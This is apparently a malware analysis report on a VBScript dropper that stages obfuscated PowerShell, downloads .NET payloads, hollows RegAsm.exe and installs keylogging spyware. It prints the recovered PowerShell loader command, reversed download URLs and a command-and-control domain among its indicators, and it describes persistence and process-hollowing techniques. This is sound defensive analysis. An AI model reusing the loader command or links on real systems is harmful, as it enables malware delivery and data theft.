FF.vbs Analysis
The VBscript “ff.vbs” contains two obfuscated powershell scripts that decodes scripts and binaries as staging which the attacker runs on the victim machine. In Figure 1, the script “ff.vbs” is executed first. It has a powershell script “first.ps1” that is decoded. When the powershell script is executed, it will decode another powershell script “second.ps1” and execute it, “second.ps1” will decode and execute the .NET binary.
Figure 1: Decoding process of “ff.vbs”
Running the VBscript
The Windows Script Host (WScript.exe) is responsible for running the VBscript on the windows environment.
The “ff.vbs” script can be executed via “WScript.exe”, refer to Figure 2. When the script is executed, it will create a copy of itself in path (refer Figure 3):
C:\Users\*userName*\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
This will make sure the script runs on startup automatically as “persistence” in the victim machine.
Figure 2: Executing vbs file.
Figure 3: “ff.vbs” maintaining persistence by creating a copy “HJW.vbs”
After creating a copy of the “ff.vbs” file, the powershell script inside the VBscript file is decoded and executed by creating a new powershell process. The process terminates too quickly. It must be suspended to extract the powershell script.
Writing a DLL file to suspend the powershell process
In Figure 4, a message box is displayed when the DLL is injected into a process. Injecting this DLL file into a powershell process will suspend the program execution. To perform the injection, the path of the DLL should be set in the registry path:
Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows
AppInit_DLLs key is set to the DLL path and LoadAppInit_DLLs key is set to 0x1, refer to Figure 5. The DLL is injected automatically every time a powershell process is created and suspends its execution by displaying a message box when injected.
Figure 4: C code of DLL file
Figure 5: Set DLL path in registry.
Extracting the powershell script from memory
Executing “ff.vbs” script via WScript.exe will decode the powershell script inside the VBscript and create a powershell process to execute the powershell script. The first powershell process (id 90272) is created to copy “ff.vbs” to path (refer to Figure 6):
C:\Users\*userName*\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
Figure 6: powershell process created for copying “ff.vbs” file to startup
The message box is seen because the DLL was injected. When the “OK” button is clicked, the powershell script will execute and another powershell process is created with id 4664, refer to Figure 7.
Figure 7: powershell process with malicious script
When the “OK” button of process id 4664 is clicked, the powershell script will execute, and it will decode another powershell script, hence creating a process for it. This is the last powershell process of the malware, and it will decode the .NET binary in the script and load it into the process. In Figure 8, a full dump of the powershell process is created with id 1972 to later extract the .NET binary from the dump.
Figure 8: Creating a full dump of the last powershell process
The powershell process can be opened in a hex editor, searching for the text “powershell.exe” will show the script, refer to Figure 9.
Figure 9: powershell script in dump file
This is the powershell script:
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command "
$LHgK = '*.NET BINARY BASE64 STRING HERE*';
[Byte[]] $fuUN = [System.Convert]::FromBase64String( $LHgK.replace('???','A') );
[System.AppDomain]::CurrentDomain.Load($fuUN).GetType('ClassLibrary3.Class1').GetMethod('Run').Invoke(
$null, [object[]] ('0/YXuZk/d/ee.etsap//:sptth'))"
The local variable “$LHgK” contains the base64 string of .NET binary, which allows to decode the binary, first each occurrence of “???” in the string is going to be replaced with “A” therefore, the string will be decoded by calling” [System.Convert]::FromBase64String ”.
After decoding the string to binary, it is loaded via “[System.AppDomain]::CurrentDomain.Load”, then the “Run” method of class “Class1” in namespace “ClassLibrary3” is called with argument ” 0/YXuZk/d/ee.etsap//:sptth”.
Analysis of .NET staging binary
As shown in figure 10, the “Run” function will download two binaries. There are two links accessed in the “Run” function:
- The link in the body of “Run” function is “ag/revreS/moc.oueu.1202atigid//:ptth”
- The link in the argument of the “Run” function is “0/YXuZk/d/ee.etsap//:sptth”.
Figure 10: “Run” fuzction called to download binaries.
The link in the body of the “Run” function is reversed, then its contents are downloaded. After downloading the contents as a string, the string is reversed. The replace function is called to replace all occurrences of pattern “№♞” with “A”, then it is decoded as a base64 string and loaded via “AppDomain.CurrentDomain.Load”. This binary is a .NET DLL. After loading the binary, its “Run” function is invoked with 2 arguments. The first argument is path to “RegAsm.exe” and the second argument is a binary. The link in the argument is first reversed, then the contents of the link are downloaded. The contents of the link are in base64 format, however, the base64 string is first reversed and then decoded. This binary is an exe file (Client.exe), and it is passed to the second argument of “Run” function of the reflective .NET DLL that was loaded.
Analysis of downloaded binaries
There are two binaries that were downloaded:
- Reflective .NET DLL
- Client.exe
Reflective .NET DLL
The “Run” method of this DLL takes two arguments, refer to Figure 11. The first argument is a path to “RegAsm.exe”, and the second argument is the exe binary. The main goal of this .NET DLL is to perform process hollowing. It will create a new process for “RegAsm.exe” in suspended state (refer to Figure 12) and later call “NtUnmapViewOfSection” to unmap the code of RegAsm.exe.
Figure 11: “Run” method of reflective .NET DLL
Figure 12: Creating a process in suspended state.
All relevant win32 API functions are used to allocate memory in “RegAsm.exe” process for writing the malicious exe code and later the main thread of the process is resumed by calling “ResumeThread”, refer to Figure 13. This replaces the original code of “RegAsm.exe” with the malicious exe (Client.exe) binary that was passed to the “Run” function of reflective .NET DLL in the second argument.
Figure 13: Win32 API imported functions used for process hollowing
Client.exe (Spyware)
This binary is a full-fledged spyware. It has a lot of code to steal various kinds of data from the victim machine. The spyware establishes the connection with the host and starts sending the data by using sockets, refer to Figure 14. The attacker sends commands via the network to the victim machine to write and access data depending on the type of command, refer to Figure 15.
Figure 14: Spyware connecting to the host
Figure 15: Executing commands in “handleData” function
The spyware has many capabilities, but the most important ones are:
- Keylogger
- Screenshots
- Downloading and running binaries
- Registry
Keylogger
The spyware logs the keystrokes of the victim machine, refer to Figure 16.
Figure 16: Key strokes logging
Screenshots
Screenshots of the victim machine are sent to the attacker when requested, refer to Figure 17. It even checks whether the pixels have updated or not to avoid sending duplicate screenshots.
Figure 17: Screenshots capability
Downloading and running binaries
The attacker can download and run malicious binaries on the victim machine. It creates a new process to execute the binary after downloading it to disk, refer to Figure 18.
Figure 18: Downloading and executing a binary.
Registry modifications
The malware has a capability to read and write to the registry. It can also delete values from registry, thus removing traces of the malware refer to Figure 19 & 20
Figure 19: Read and write values to a registry
Figure 20: Delete values form a registry
IOCs of VBscript and binaries
- MD5: ed3360f020b1032c8a3cccd87e27c7c6
- MD5: ee8c73314dec15cfe5db188541490bea
- SHA-1: 12f7308fcfdb63216fdaddc5f6ee9f90a89de3c9
- SHA-1: de58cb9f1f89cc9eda5c755e9d1b1b154b3aa547
- ClassLibrary3: SHA256: 06E1B348AE107949CD993B8AE4D09D7802C11E92920BC85F94514AC001F7B371
- ClassLibary1: SHA256: 43499A715388F52D187A6C6B1188AB1E9AD2FD9312B2A20DD67FA80344A036E7
- Client: SHA256: FD5CB82E44CD6F53284AD63CAD2064AF7211C5A7E90EB0C9423898431B43B6A1
- “bagbagbag.hopto.org”
- “87ef671661d”